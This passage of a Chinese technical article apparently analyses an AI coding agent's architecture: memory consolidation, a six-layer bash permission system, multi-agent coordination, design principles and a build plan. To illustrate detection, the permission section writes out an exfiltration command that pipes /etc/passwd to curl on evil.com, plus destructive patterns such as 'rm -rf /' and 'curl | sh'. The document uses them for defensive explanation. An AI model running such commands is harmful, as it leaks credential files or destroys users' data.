// 旧的记忆权重降低，新的记忆优先级更高
```

记忆整理（autoDream/consolidationPrompt.ts）：
- 在对话结束后自动运行
- 把当前对话的关键信息提取出来
- 整理成结构化的记忆条目
- 合并冗余记忆，保持记忆库精简

```
会话结束
  ↓
consolidationPrompt 触发
  ↓
提取关键信息 → 结构化 → 去重 → 存入 memdir
  ↓
下次会话开始
  ↓
findRelevantMemories 检索相关记忆
  ↓
注入到系统提示词中
```

### 评价

**好在哪：**
- **自动整理是正确的**。让用户手动管理记忆不现实，自动提取+整理是正道
- **记忆检索是语义化的**。不是简单关键词匹配，而是根据当前上下文找相关记忆
- **记忆有生命周期**。`memoryAge` 管理过期和降权，避免记忆库无限膨胀

**差在哪：**
- **记忆质量不可控**。自动提取可能记住了不该记的，或者漏掉了该记的
- **没有记忆冲突解决**。如果新旧记忆矛盾，怎么处理？代码里没有看到明确的策略
- **跨项目记忆隔离策略不清晰**。一个项目里的记忆会不会泄漏到另一个项目？

### 对我们的启发

1. **记忆整理要自动化，但要有审计**。自动提取没问题，但要让用户能看到和编辑记忆
2. **记忆要有生命周期**。过期的自动降权或清理，别让记忆库变成垃圾堆
3. **语义检索优于关键词**。根据当前上下文做 embedding 匹配，比关键词匹配准确得多
4. **记忆隔离是刚需**。项目间、敏感信息间的隔离必须做

### 架构图

```
┌──────────────────────────────────────────────────────┐
│                    Memory System                      │
│                                                       │
│  ┌────────────┐     ┌──────────────────┐             │
│  │  Session    │────▶│  consolidation   │             │
│  │  (对话)     │     │  Prompt (autoDream)│            │
│  └────────────┘     └────────┬─────────┘             │
│                              │ 提取+整理               │
│                              ▼                        │
│                    ┌──────────────────┐               │
│                    │    memdir/       │               │
│                    │  ┌────────────┐  │               │
│                    │  │ 记忆条目    │  │               │
│                    │  │ (结构化)   │  │               │
│                    │  └────────────┘  │               │
│                    │  memoryAge       │               │
│                    │  (过期/降权)      │               │
│                    └────────┬─────────┘               │
│                             │                         │
│              ┌──────────────▼──────────────┐         │
│              │  findRelevantMemories       │         │
│              │  (语义检索 → 注入系统提示词)   │         │
│              └─────────────────────────────┘         │
└──────────────────────────────────────────────────────┘
```

---

<a id="7-权限安全"></a>
## 7. 权限安全：AI 的刹车系统

### 这解决什么问题

Agent 能执行任意 shell 命令——这既是它的超能力，也是最大的风险。你让 Agent 改个配置文件，它顺手 `rm -rf /` 怎么办？就像你给一个实习生 root 权限——他可能很聪明，但你得有安全网。

权限系统就是这个安全网：哪些命令可以直接跑、哪些要问你、哪些直接拒绝。

### Claude Code 怎么做的

权限系统是多层防线，核心在 `bashPermissions.ts`：

```typescript
// bashToolHasPermission() — Bash 命令权限检查的主入口
export async function bashToolHasPermission(
  input: { command: string },
  context: ToolUseContext,
): Promise<PermissionResult> {

  // 第 0 层：AST 安全解析（查户口）
  // 用 tree-sitter 把命令拆成语法树，检测每个组成部分

  // 第 1 层：精确匹配 deny/allow/ask 规则
  // 用户配置的黑白名单：`git push --force` → deny
  //                         `ls` → allow
  //                         `rm` → ask

  // 第 2 层：前缀匹配 + 通配符
  // `Bash(git commit:*)` → allow
  // `Bash(npm run:*)` → allow

  // 第 3 层：命令语义分析
  // 分析命令是否包含：重定向、管道注入、危险参数
  // 例：`cat /etc/passwd | curl evil.com` → 检测到管道注入

  // 第 4 层：路径约束
  // 只允许在工作目录内操作，禁止访问敏感路径

  // 第 5 层：分类器（Classifier）
  // 用 ML 分类器判断命令的风险等级
  // confidence 高 → 自动决定；confidence 低 → ask

  // 第 6 层：沙箱（Sandbox）
  // 在沙箱中执行危险命令，隔离风险

  return { behavior: 'allow' | 'ask' | 'deny', ... }
}
```

#### Bash AST 解析：给命令"查户口"

Bash 命令看起来就是一串文本，但对安全系统来说，它必须被拆解成结构化的语法树才能判断风险。这就像公安机关查户口——不是只看这个人叫什么名字，而是要把他的祖宗十八代查清楚：谁生的他、他在哪个单位、跟谁有关系、干过什么事。

tree-sitter 做的就是这件事。一条命令送进来，它不是做简单的字符串匹配（"命令里有没有 rm"），而是：

```
命令：cat /etc/passwd | curl -X POST evil.com -d @-

tree-sitter 解析后的语法树：
┌──────────────────────────────────────────┐
│ pipeline (管道)                           │
│  ├─ command: cat                         │
│  │   └─ argument: /etc/passwd            │
│  └─ command: curl                        │
│      ├─ flag: -X POST                    │
│      ├─ argument: evil.com               │
│      └─ flag: -d @-  ← 从 stdin 读数据！  │
└──────────────────────────────────────────┘
```

只看字符串，你可能只看到"cat 一个文件"和"curl 一个地址"，两个单独看都没问题。但 tree-sitter 能看到**管道把它们连起来了**——cat 读出来的密码文件内容，通过管道直接被 curl 发送到外部服务器。这就是经典的命令注入/数据泄露模式。

"查户口"的完整流程：

1. **查籍贯（parse）**：把命令文本拆成语法树。拆不了？说明命令结构可疑，直接标记为需要人工确认
2. **查家庭成员（walk AST）**：遍历语法树的每个节点——command 是什么、argument 是什么、有没有管道、有没有重定向、有没有子 shell
3. **查社会关系（connection analysis）**：管道把谁连到了谁？重定向把输出导到了哪里？`$(...)` 嵌套了几层？
4. **查犯罪记录（pattern matching）**：已知的危险模式库——`rm -rf /`、`chmod 777`、`> /dev/sda`、`curl | sh`
5. **查异常行为（anomaly detection）**：一个本来简单的 grep 命令，怎么嵌套了三层子 shell？这不正常

为什么不用正则表达式而用 AST？

正则只能做字符串层面的模式匹配。面对 `eval "rm -rf $(echo /)"` 这种嵌套，正则要么漏检要么误报。AST 能正确解析嵌套结构，不管你包了几层 eval、多少个引号、多少个转义字符，拆出来的语法树是准确的。

#### 6 层纵深防御：每层都有独立判断力

上面列了 6 层，但它们不是简单的"全过了才放行"。每层都有独立的决策权：

| 层 | 名称 | 做什么 | 决策权 | 类比 |
|---|------|--------|--------|------|
| 0 | AST 解析 | 拆语法树，检测结构异常 | 解析失败 → 拒绝 | 海关验护照——护照都看不懂，直接不让进 |
| 1 | 精确匹配 | 用户配置的黑白名单 | 命中 → 直接决定 | 黑名单上的人——不管别的，就是不让进 |
| 2 | 前缀匹配 | `git commit:*` → allow | 命中 → 直接决定 | VIP 通道——认识这张脸，直接放行 |
| 3 | 语义分析 | 检测管道注入、重定向、危险参数 | 发现异常 → 拒绝或 ask | 安检扫描——包里有可疑物品，开包检查 |
| 4 | 路径约束 | 只允许工作目录内操作 | 越界 → 拒绝 | 围栏——你只能在这个区域活动 |
| 5 | ML 分类器 | 综合判断风险等级 | confidence 高 → 决定，低 → ask | 经验丰富的安检员——说不清就叫主管 |

设计要点：

- **任何一层拒绝，整条命令就死了**。不是"6 层都过了才执行"，而是"任何一层说不行就不行"。这就是纵深防御的精髓——攻击者必须突破所有层，而不是只需要绕过一层
- **Fail-safe 默认值是"拒绝"**。解析失败？拒绝。分类器不确定？ask（不直接放行）。规则没覆盖？默认 ask。宁可多问一次用户，也不能默认放行
- **层与层之间是独立的**。AST 解析不依赖规则库，规则不依赖分类器。即使分类器被对抗样本骗了，AST 层和规则层仍然能挡住已知攻击模式
- **层层递进，逐步放行**。Layer 0 保证命令结构合法，Layer 1-2 处理明确的白名单，Layer 3-4 分析语义和路径，Layer 5 兜底判断。从粗到细，从快到慢

权限模式（PermissionMode）：
- `default`：标准权限，高风险操作需要确认
- `planMode`：只读模式，不允许任何修改操作
- `bypassPermissions`：跳过所有权限检查（仅特殊场景）
- `autoMode`：自动模式，根据分类器自动决定

每种工具都有自己的权限类型标注：
- `isReadOnly`：只读工具（Grep、Glob、FileRead）默认允许
- `isDestructive`：危险工具（FileWrite、Bash 中的 rm）需要额外确认
- `isConcurrencySafe`：并行安全工具可以批量执行

### 评价

**好在哪：**
- **6 层防线，纵深防御**。不是靠单一检查，而是 AST 解析→规则匹配→语义分析→路径约束→分类器→沙箱，层层递进
- **规则系统灵活**。支持精确匹配、前缀匹配、通配符，用户可以细粒度配置
- **tree-sitter 做 AST 解析**。比正则表达式可靠得多，能正确处理嵌套引号、管道、重定向
- **分类器+规则的混合决策**。规则覆盖不了的用分类器兜底，分类器不确定的 ask

**差在哪：**
- **规则系统复杂度爆炸**。精确匹配、前缀、通配符、env var 过滤、wrapper 剥离——组合起来调试非常痛苦
- **分类器是黑盒**。用户不知道为什么某个命令被 allow 或 deny，缺乏可解释性
- **沙箱不是默认开启**。默认在宿主机上执行，沙箱是可选的——大多数用户可能根本没开

### 对我们的启发

1. **安全必须纵深防御**。单点检查一定会被绕过，多层防线是唯一可靠的方案
2. **规则系统要简单**。Claude Code 的规则系统太复杂了——精确匹配+前缀+通配符+env var+wrapper，建议简化为"命令前缀白名单 + 危险命令黑名单"
3. **分类器是必要的补充**。规则覆盖不了所有场景，ML 分类器可以兜底。但要给用户看分类器的判断理由
4. **沙箱应该默认开启**。在容器里跑命令的成本远小于在宿主机上跑 rm -rf 的风险

### 架构图

```
┌──────────────────────────────────────────────────────┐
│              Permission System Layers                 │
│                                                       │
│  Bash 命令提交                                         │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 0: AST 解析 (tree-sitter)             │   │
│    │  检测命令注入、复杂结构、解析失败               │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 1: 精确匹配规则                        │   │
│    │  deny / allow / ask 黑白名单                 │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 2: 前缀 + 通配符                      │   │
│    │  Bash(git commit:*) → allow                 │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 3: 语义分析                           │   │
│    │  管道注入、重定向、危险参数检测                 │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 4: 路径约束                           │   │
│    │  工作目录内操作，禁止敏感路径                   │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 5: ML 分类器                          │   │
│    │  自动判断风险等级 (confidence-based)           │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 6: 沙箱执行                           │   │
│    │  容器隔离，限制风险                            │   │
│    └─────────────────────────────────────────────┘   │
│                                                       │
│  结果：allow → 直接执行 | ask → 弹窗确认 | deny → 拒绝 │
└──────────────────────────────────────────────────────┘
```

---

<a id="8-coordinator"></a>
## 8. Coordinator：多 Agent 的调度中心

### 这解决什么问题

当你同时有 5 个子 Agent 在跑——一个在查 bug、一个在改代码、一个在跑测试、一个在查文档、一个在写报告——你需要一个"项目经理"来协调它们。谁先谁后、谁等谁的结果、失败了怎么办、结果怎么汇总？

Coordinator 就是这个项目经理：它自己不干活，只调度工人。

### Claude Code 怎么做的

Coordinator 是一个专门的系统提示词模式，通过环境变量 `CLAUDE_CODE_COORDINATOR_MODE` 开启。核心在 `coordinatorMode.ts`：

```typescript
// coordinatorMode.ts — Coordinator 的核心调度逻辑

// 协调者能用的工具只有三个：派工人、继续工人、停止工人
const COORDINATOR_TOOLS = ['AgentTool', 'SendMessageTool', 'TaskStopTool'];

// Continue vs. Spawn 决策：根据上下文重叠度判断
function shouldContinueWorker(
  task: TaskDescription,
  existingWorkers: Worker[]
): 'continue' | 'spawn' {
  const bestMatch = findBestWorker(task, existingWorkers);

  if (!bestMatch) return 'spawn';                    // 没有合适的工人

  const overlap = computeContextOverlap(task, bestMatch.context);

  if (overlap > 0.7) return 'continue';              // 高重叠 → 继续
  return 'spawn';                                     // 低重叠 → 派新的
}

// 工人完成后，协调者汇总结果
async function handleWorkerComplete(notification: TaskNotification) {
  // notification 格式：<task-notification> XML
  const { taskId, status, summary, result, usage } = parseNotification(notification);

  if (status === 'completed') {
    // 汇总到主结果池，准备下一轮调度
    resultPool.merge(taskId, result);
    logUsage(usage);
  } else {
    // 失败 → 决定重试、换方法、还是告诉用户
    await handleFailure(taskId, result);
  }
}
```

最有价值的设计是 **Continue vs. Spawn** 决策：

```
研究探索的文件和要改的文件一样 → Continue（继续同一个工人）
研究很广但实现很窄 → Spawn fresh（派新工人，避免噪声）
修正失败或扩展最近工作 → Continue（工人有错误上下文）
验证别人写的代码 → Spawn fresh（新鲜视角）
第一版用了完全错的方法 → Spawn fresh（清空重来）
完全无关的任务 → Spawn fresh
```

工人通知机制用 XML 格式：
```xml
<task-notification>
  <task-id>agent-a1b</task-id>
  <status>completed</status>
  <summary>Agent "Investigate auth bug" completed</summary>
  <result>Found null pointer in src/auth/validate.ts:42...</result>
  <usage>
    <total_tokens>N</total_tokens>
    <tool_uses>N</tool_uses>
    <duration_ms>N</duration_ms>
  </usage>
</task-notification>
```

### 评价

**好在哪：**
- **调度逻辑全在提示词里**。没有硬编码的工作流引擎，靠 LLM 理解和执行调度规则。这很"Agent"——用 AI 管理 AI
- **Continue vs. Spawn 决策框架非常实用**。这个二维判断（上下文重叠度高不高）比任何硬编码规则都灵活
- **"汇总是协调者最重要的工作"**。这条规则防止了"工人直接向工人汇报"的死循环——所有信息流经协调者
- **并行是默认**。"Workers are async. Launch independent workers concurrently."——把并行写进系统提示词，而不是靠代码实现

**差在哪：**
- **纯提示词调度有上限**。复杂的工作流依赖（DAG）用提示词表达很脆弱，LLM 可能理解错依赖关系
- **没有超时和资源管理**。提示词里没提到工人超时、token 预算、并发数量限制
- **Scratchpad 机制太简单**。工人间共享信息靠文件系统，没有结构化的消息队列

### 对我们的启发

1. **协调者不干活，只调度**。这个角色分离是关键——协调者的 token 应该花在分析和调度上，不是花在执行上
2. **Continue vs. Spawn 是核心决策**。上下文重叠度是判断标准——重叠高就继续，低就新建。这个框架可以复用
3. **通知机制要标准化**。XML 格式的 task-notification 比自由文本可靠，便于解析和处理
4. **并行要写进系统提示词**。不要只在代码里支持并行，要让 LLM 理解"并行是默认策略"

### 架构图

```
┌──────────────────────────────────────────────────────┐
│                    Coordinator Mode                    │
│                                                       │
│  ┌─────────────────────────────────────────────┐     │
│  │  Coordinator (协调者 - LLM)                  │     │
│  │  角色：调度、汇总、与用户沟通                   │     │
│  │  工具：AgentTool / SendMessage / TaskStop    │     │
│  └──────────┬──────────────────┬───────────────┘     │
│             │                  │                      │
│        Continue？          Spawn？                    │
│        (上下文重叠高)      (上下文重叠低)              │
│             │                  │                      │
│    ┌────────▼───┐      ┌──────▼──────┐              │
│    │ SendMessage │      │  AgentTool  │              │
│    │ (继续工人)  │      │ (派新工人)   │              │
│    └────────┬───┘      └──────┬──────┘              │
│             │                  │                      │
│    ┌────────┴──────────────────┴───────────────┐     │
│    │         Workers (工人 - 异步执行)           │     │
│    │  ┌────────┐ ┌────────┐ ┌────────┐        │     │
│    │  │Research│ │Implement│ │Verify │        │     │
│    │  │ 调研   │ │  实现   │ │  验证  │        │     │
│    │  └────────┘ └────────┘ └────────┘        │     │
│    │                                           │     │
│    │  通知格式：<task-notification> XML          │     │
│    └───────────────────────────────────────────┘     │
│                                                       │
│  工作流：Research(并行) → Synthesis → Implement → Verify│
└──────────────────────────────────────────────────────┘
```

---

<a id="9-设计范式总结"></a>
## 9. 设计范式总结

读完 Claude Code 源码，我提炼出 10 条 Agent 产品设计原则。

### 原则 1：循环极简，复杂度外推

Agent Loop 本身应该是一个最简单的 while 循环。真正的复杂度在工具、提示词和调度策略里，不在循环结构上。越简单的循环越不容易出 bug。

**Claude Code 对应：** `query.ts` 里的主循环只有三步——调 LLM、收工具调用、执行工具。所有业务逻辑都在工具实现和系统提示词里，循环本身不包含任何领域知识。

**对其他产品的启发：** 这跟 Unix 管道的哲学一样——核心调度器保持简单，复杂性下沉到可组合的工具。如果你发现自己的 Agent Loop 超过 100 行，大概率是在循环里塞了不该塞的东西。任何 Agent 框架都应该把 loop 当作"无脑转发器"来写。

**Checklist：**
- [ ] Agent Loop 是否不超过 50 行核心代码？
- [ ] 是否所有状态都存在 messages 队列里？
- [ ] 循环是否无状态（每轮从 messages 读、往 messages 写）？
- [ ] 循环里有没有硬编码的业务逻辑？
- [ ] 循环能否在不改代码的情况下接入新工具？

### 原则 2：工具是 Agent 的手，提示词是 Agent 的脑

工具决定了 Agent 能做什么，提示词决定了 Agent 什么时候做、怎么做。花在写工具提示词上的时间，应该不少于花在写工具代码上的时间。

**Claude Code 对应：** 每个工具（`BashTool`、`FileEditTool` 等）都有详细的 `description` 和 `whenToUse` 字段。系统提示词里对每个工具的使用场景、限制条件、安全规则都做了长篇幅的说明。工具注册时必须同时提供 JSON Schema 和描述文本。

**对其他产品的启发：** 大多数 Agent 框架犯的错误是"写了个工具函数就完事了"。实际上工具描述才是产品的核心资产。ChatGPT 的 Plugin / Function Calling 生态之所以做起来了，就是因为工具描述遵循了统一的 schema 规范。你的工具描述质量，直接决定 Agent 的智商上限。

**Checklist：**
- [ ] 每个工具是否有清晰的 whenToUse 描述？
- [ ] 工具提示词是否包含安全规则和最佳实践？
- [ ] 危险操作是否在提示词里明确标注？
- [ ] 工具描述是否经过实际场景验证？
- [ ] 新工具是否经过"LLM 能不能正确理解"的测试？

### 原则 3：元信息是调度的前提

每个工具必须标注 `isReadOnly`、`isConcurrencySafe`、`isDestructive`。这些元信息直接决定了调度策略，不需要在调度层硬编码。

**Claude Code 对应：** `Tool.ts` 接口要求每个工具实现这三个布尔属性。`toolOrchestration.ts` 根据这些标注自动分区：`isReadOnly && isConcurrencySafe` 的工具并行执行，其他的串行。新增工具不需要改调度逻辑。

**对其他产品的启发：** 这其实是声明式编程的经典思路——你描述"是什么"而不是"怎么做"。Kubernetes 的 Pod label、React 的 key prop、数据库的索引 hint，本质上都是这个模式。Agent 系统里，工具元信息就是调度器的索引——没有它，调度层只能硬编码。

**Checklist：**
- [ ] 每个工具是否都有这三个标注？
- [ ] 标注是否准确（特别是并行安全性）？
- [ ] 新增工具时是否有 lint 规则检查这些标注？
- [ ] 标注是否影响了实际的调度行为？
- [ ] 是否有测试验证标注的正确性？

### 原则 4：纵深防御，不要单点信任

权限系统必须多层。靠单一检查（比如"命令前缀匹配"）一定会被绕过。AST 解析 + 规则匹配 + 分类器 + 沙箱，层层递进。

**Claude Code 对应：** `bashPermissions.ts` 实现了 6 层防御：AST 解析（tree-sitter）→ 精确匹配规则 → 前缀/通配符匹配 → 语义分析（注入检测）→ 路径约束 → ML 分类器 + 沙箱。任何一层拒绝，命令就不会执行。AST 解析失败时，默认行为是拒绝。

**对其他产品的启发：** 安全领域有一句话——"攻击者总会找到你没想到的路径"。所以不要指望一层防御挡住所有攻击。类比 Web 安全的纵深防御（WAF + CSP + CORS + 输入校验 + 输出编码），Agent 的权限系统也应该多层。特别注意：fail-safe 默认值必须是"拒绝"，不能是"允许"。

**Checklist：**
- [ ] 安全检查是否有至少 3 层？
- [ ] 是否有 fail-safe（解析失败时默认拒绝）？
- [ ] 危险操作是否有日志和审计？
- [ ] 每层防御是否有独立的绕过测试？
- [ ] 是否有定期的红队测试？

### 原则 5：上下文是消耗品，不是资产

上下文窗口会用完。多级降级（compact → reactive → collapse）是刚需。token 追踪是基础设施，不是优化项。

**Claude Code 对应：** 上下文管理模块实现了三级降级：`autoCompact`（自动压缩历史对话）→ `reactiveCompact`（响应式压缩，按需触发）→ `contextCollapse`（上下文坍缩，只保留最关键信息）。每级都有 token 预算追踪，分为任务级和轮级两层。

**对其他产品的启发：** 很多团队把上下文管理当作"优化项"，觉得先不管也能用。这是错的。上下文窗口一旦满了，Agent 就会"失忆"，之前做的所有工作都白费。上下文管理应该在产品设计阶段就考虑，而不是等到出了问题再补。就像内存管理——你不会等到 OOM 才想 GC 的事。

**Checklist：**
- [ ] 是否有 token 实时追踪？
- [ ] 是否有多级压缩/降级策略？
- [ ] 压缩边界是否有标记便于审计？
- [ ] 是否有任务级和轮级两级预算？
- [ ] 压缩后信息丢失是否有补偿机制？

### 原则 6：子 Agent 就是完整的 Agent

不要搞"轻量版"和"完整版"两套。子 Agent 复用主 Agent 的核心循环，只是输入不同。维护两套代码的成本远大于"多传几个参数"的成本。

**Claude Code 对应：** `runAgent()` 函数直接调用 `query()` 函数——子 Agent 和主 Agent 用的是同一套循环、同一套工具接口、同一套权限系统。区别只在输入参数：子 Agent 传入的是精简过的系统提示词和任务描述，而不是完整的对话历史。

**对其他产品的启发：** 这就是组合模式（Composite Pattern）在 Agent 架构里的应用。子 Agent 不是"阉割版"，而是"同一类的另一个实例"。就像递归函数——base case 和 recursive case 用同一套逻辑。AutoGPT 早期犯的错误就是子 Agent 和主 Agent 用不同逻辑，导致行为不一致、难以调试。

**Checklist：**
- [ ] 子 Agent 是否复用主 Agent 的 query 函数？
- [ ] 子 Agent 是否有完整的工具集和权限系统？
- [ ] 是否有嵌套深度限制？
- [ ] 子 Agent 的系统提示词是否经过单独优化？
- [ ] 子 Agent 的输出格式是否标准化？

### 原则 7：并行是默认，串行是例外

读操作天然并行安全，写操作需要串行。按安全性分区，能并行的并行。流式返回让并行的收益体现在用户感知上。

**Claude Code 对应：** `toolOrchestration.ts` 在收到多个工具调用时，先按 `isReadOnly` 分区：读操作全部并行（用 `Promise.all`），写操作按顺序执行。流式响应让并行的收益直接体现在用户感知上——用户不需要等所有工具执行完就能看到部分结果。

**对其他产品的启发：** 大多数 Agent 框架默认串行执行工具调用，这浪费了大量时间。并行执行的前提是工具元信息准确——你得知道哪些工具可以并行。这又回到了原则 3。流式返回也很关键：并行执行如果没有流式返回，用户感知上还是"等了很久然后一下全出来"。

**Checklist：**
- [ ] 工具调度是否自动分区（读/写）？
- [ ] 并行上限是否有合理配置？
- [ ] 流式返回是否启用？
- [ ] 并行工具之间是否有依赖检测？
- [ ] 并行失败时是否有降级到串行的机制？

### 原则 8：协调者不干活

调度和执行必须分离。协调者的 token 花在分析和调度上，不花在执行上。工人完成后汇报给协调者，协调者汇总后告诉用户。

**Claude Code 对应：** Coordinator 模式下，主 Agent（协调者）的系统提示词明确写了"你负责调度，不负责执行"。工人完成后通过标准化的 XML 通知格式汇报。协调者的工具集被限制——不能直接执行文件编辑，只能派工人。

**对其他产品的启发：** 类比工地上的工头——工头不搬砖，因为他要同时看全局：哪组人进度慢了、材料够不够、下一步先做哪个。如果工头自己也去砌墙，他就没人盯着调度了。Agent 协调者同理：token 就是注意力，花在执行细节上就没法做好调度。而且协调者和工人用同样的工具，会产生冲突（两个 Agent 同时编辑同一个文件就是灾难）。

**Checklist：**
- [ ] 协调者是否有明确的"不执行"规则？
- [ ] 工人通知是否标准化？
- [ ] Continue vs. Spawn 决策是否有框架？
- [ ] 协调者的工具集是否被限制？
- [ ] 是否有工人之间的冲突检测？

### 原则 9：记忆要自动整理，但要可审计

自动提取和整理是正道，但用户要能看到记忆、编辑记忆、删除记忆。记忆要有生命周期，过期自动降权。

**Claude Code 对应：** `memdir/` 目录存储持久化记忆。`consolidationPrompt` 在对话结束时自动从对话中提取关键信息。`findRelevantMemories` 在新对话开始时根据语义相似度检索相关记忆。记忆文件是纯文本，用户可以直接查看和编辑。

**对其他产品的启发：** 记忆系统的最大风险是"幻觉记忆"——Agent 把错误信息记住了，然后在后续对话中当作事实引用。所以可审计比自动整理更重要。用户必须能看见 Agent 记住了什么，并且能删除错误的记忆。类比搜索引擎的索引——你能搜索到什么，取决于索引里有什么；你能信任什么，取决于你能审计索引。

**Checklist：**
- [ ] 记忆是否自动从对话中提取？
- [ ] 用户是否能看到和编辑记忆？
- [ ] 记忆是否有过期机制？
- [ ] 记忆提取是否有质量检查？
- [ ] 是否有记忆冲突检测？

### 原则 10：提示词是产品，不是代码注释

工具提示词就是产品文档。它决定 LLM 的行为质量。写提示词要用产品思维——考虑用户（LLM）的理解成本、决策路径、错误恢复。

**Claude Code 对应：** Claude Code 的系统提示词经过大量迭代，每个工具的描述都包含：角色定位、使用条件、输入约束、输出格式、安全规则、常见错误、错误恢复策略。这不是"代码注释"，而是精心设计的产品文档。

**Checklist：**
- [ ] 提示词是否有明确的结构（角色→规则→示例→边界）？
- [ ] 是否包含错误处理指引？
- [ ] 是否经过实际场景测试？
- [ ] 提示词是否区分了"什么时候用"和"怎么用"？
- [ ] 是否有针对常见误用的纠偏说明？

### 原则 11：工具的 description 是给 LLM 看的产品手册

大多数 Agent 框架把工具 description 当成 API 文档来写——一行话说明这个工具干什么。但 LLM 不是程序员，它不会去猜你没写的意思。工具 description 应该是产品手册：场景 → 决策树 → 示例 → 红线。

**Claude Code 对应：** BashTool 的 description 不只是"执行 bash 命令"，而是一整套使用指南——什么时候该用 bash 而不是其他工具、git 操作的 5 步 SOP、绝对不能做的事情（NEVER force push）、并行执行的提示。FileEditTool 的 description 会根据当前编辑模式变化（insert/replace/delete），动态适配 LLM 的决策需求。

**对其他产品的启发：** 你给一个新员工写操作手册，不会只写"用 Excel 做表"。你会写"数据量小于 1000 行用 Excel，大于 1000 行用 Python，导出格式选 CSV，千万别选 XLS（兼容性差）"。LLM 就是那个新员工，工具 description 就是操作手册。写得越详细、决策路径越短，Agent 执行质量越高。反过来，description 写得模糊，Agent 就会频繁犯低级错误——不是因为模型不行，是因为你没教它。

**Checklist：**
- [ ] 工具 description 是否回答了"什么时候用"而不只是"干什么"？
- [ ] 是否包含具体的使用示例？
- [ ] 是否有明确的红线（NEVER / 不要 / 禁止）？
- [ ] description 是否区分了"怎么用"和"什么时候不该用"？
- [ ] 高风险工具的 description 是否包含 SOP 流程？

### 原则 12：上下文窗口是 Agent 的工作台，不是仓库

把 context window 想象成物理的工作台——面积有限，你只能在上面放正在用的东西。用完的文件要收进抽屉（持久化记忆），不重要的草稿要扔掉（compact），新的任务要用新空间。

**Claude Code 对应：** Claude Code 的多级降级（compact → reactive → context collapse）本质上是在管理工作台空间。Prompt caching 的前缀复用是"把常用的工具固定放在桌角"——不挪位置就能快速拿到。Compact 是"把桌上堆了三天的旧文件收起来，写个标签"。Context collapse 是"桌子彻底满了，只好把所有东西都扫到地上，只留正在用的那一件"。

**对其他产品的启发：** 上下文里无关信息越多，LLM 的注意力越分散，决策质量反而下降（"Lost in the Middle"效应）。正确的思路是"最小上下文原则"——只给 Agent 当前任务必需的信息。

**Checklist：**
- [ ] 每轮对话的 token 消耗是否有实时追踪？
- [ ] 是否遵循"最小上下文"原则（不往 context 里塞无关信息）？
- [ ] 系统提示词是否放在最前面且尽量稳定（最大化 prompt cache 命中）？
- [ ] 工具描述是否按需加载（defer / search），而不是全量塞入？
- [ ] Compact 后是否保留了最近几轮的原始对话（保护 prompt cache）？

---

<a id="10-如果我来做-agent-产品"></a>
## 10. 如果我来做 Agent 产品

基于以上分析，如果从零开始做一个 Agent 产品，我会按 6 周拆开，每周有明确的交付物和验收标准。

### 第一步：最小可行 Agent Loop（第一周）

**目标：** 能跑通"用户输入 → LLM 思考 → 工具执行 → 返回结果"的基本循环。不需要好看，能跑就行。

**目录结构：**
```
agent/
├── loop.ts              ← 核心 Agent Loop，不超过 50 行
├── types.ts             ← Message、ToolCall、ToolResult 类型定义
├── tools/
│   ├── index.ts         ← 工具注册表
│   ├── bash.ts          ← 执行 shell 命令
│   ├── file_read.ts     ← 读文件
│   ├── file_write.ts    ← 写文件
│   ├── web_search.ts    ← 搜索（先用现成 API）
│   └── todo.ts          ← 待办管理
├── llm.ts               ← LLM 调用封装（支持流式）
└── index.ts             ← 入口，CLI / HTTP 都行
```

**核心代码结构：**
```typescript
// loop.ts —— 这就是整个 Agent Loop
async function* agentLoop(messages: Message[], tools: Tool[]): AsyncGenerator<StreamEvent> {
  while (true) {
    // 1. 调 LLM（流式）
    const response = await streamLLM(messages, tools);

    // 2. 收集工具调用
    const toolCalls = collectToolCalls(response);

    if (toolCalls.length === 0) {
      // LLM 决定不再调工具，对话结束
      yield { type: 'done', content: response.text };
      return;
    }

    // 3. 执行工具（先全部串行，后面再优化）
    for (const call of toolCalls) {
      const tool = tools.find(t => t.name === call.name);
      const result = await tool.execute(call.args);
      messages.push({
        role: 'tool',
        tool_call_id: call.id,
        content: JSON.stringify(result)
      });
      yield { type: 'tool_result', call, result };
    }
  }
}
```

**工具接口定义：**
```typescript
// types.ts
interface Tool {
  name: string;
  description: string;        // 给 LLM 看的描述
  parameters: JSONSchema;     // 参数 schema
  isReadOnly: boolean;        // 后面会用到
  isConcurrencySafe: boolean; // 后面会用到
  isDestructive: boolean;     // 后面会用到
  execute(args: Record<string, unknown>): Promise<ToolResult>;
}
```

**验收标准：**
- [ ] 命令行输入一句话，能返回 LLM 的回复
- [ ] LLM 能调用至少 3 个工具
- [ ] 工具调用结果能正确返回给 LLM
- [ ] 支持流式输出
- [ ] 能处理工具执行异常（不崩）

### 第二步：工具系统（第二周）

**目标：** 让工具系统真正可用——描述准确、参数校验、错误恢复。

**核心改造：**

```typescript
// tools/base.ts —— 抽象基类
abstract class BaseTool implements Tool {
  abstract name: string;
  abstract description: string;
  abstract parameters: JSONSchema;

  // 元信息标注——后面调度会用
  abstract isReadOnly: boolean;
  abstract isConcurrencySafe: boolean;
  abstract isDestructive: boolean;

  // 参数校验——在 execute 之前做
  validate(args: Record<string, unknown>): ValidationResult {
    return validateSchema(this.parameters, args);
  }

  // 执行——子类实现
  abstract execute(args: Record<string, unknown>): Promise<ToolResult>;

  // 描述生成——自动从 metadata 生成给 LLM 的描述
  getDescription(): string {
    return `
${this.description}

参数：
${formatSchema(this.parameters)}

元信息：
- 只读：${this.isReadOnly}
- 并行安全：${this.isConcurrencySafe}
- 破坏性操作：${this.isDestructive}

${this.isDestructive ? '⚠️ 这是破坏性操作，执行前请确认。' : ''}
    `.trim();
  }
}
```

**工具注册改为声明式：**
```typescript
// tools/index.ts
const TOOL_REGISTRY: Map<string, Tool> = new Map();

function registerTool(tool: Tool): void {
  // lint 检查：必须有三个元信息标注
  if (tool.isReadOnly === undefined || tool.isConcurrencySafe === undefined || tool.isDestructive === undefined) {
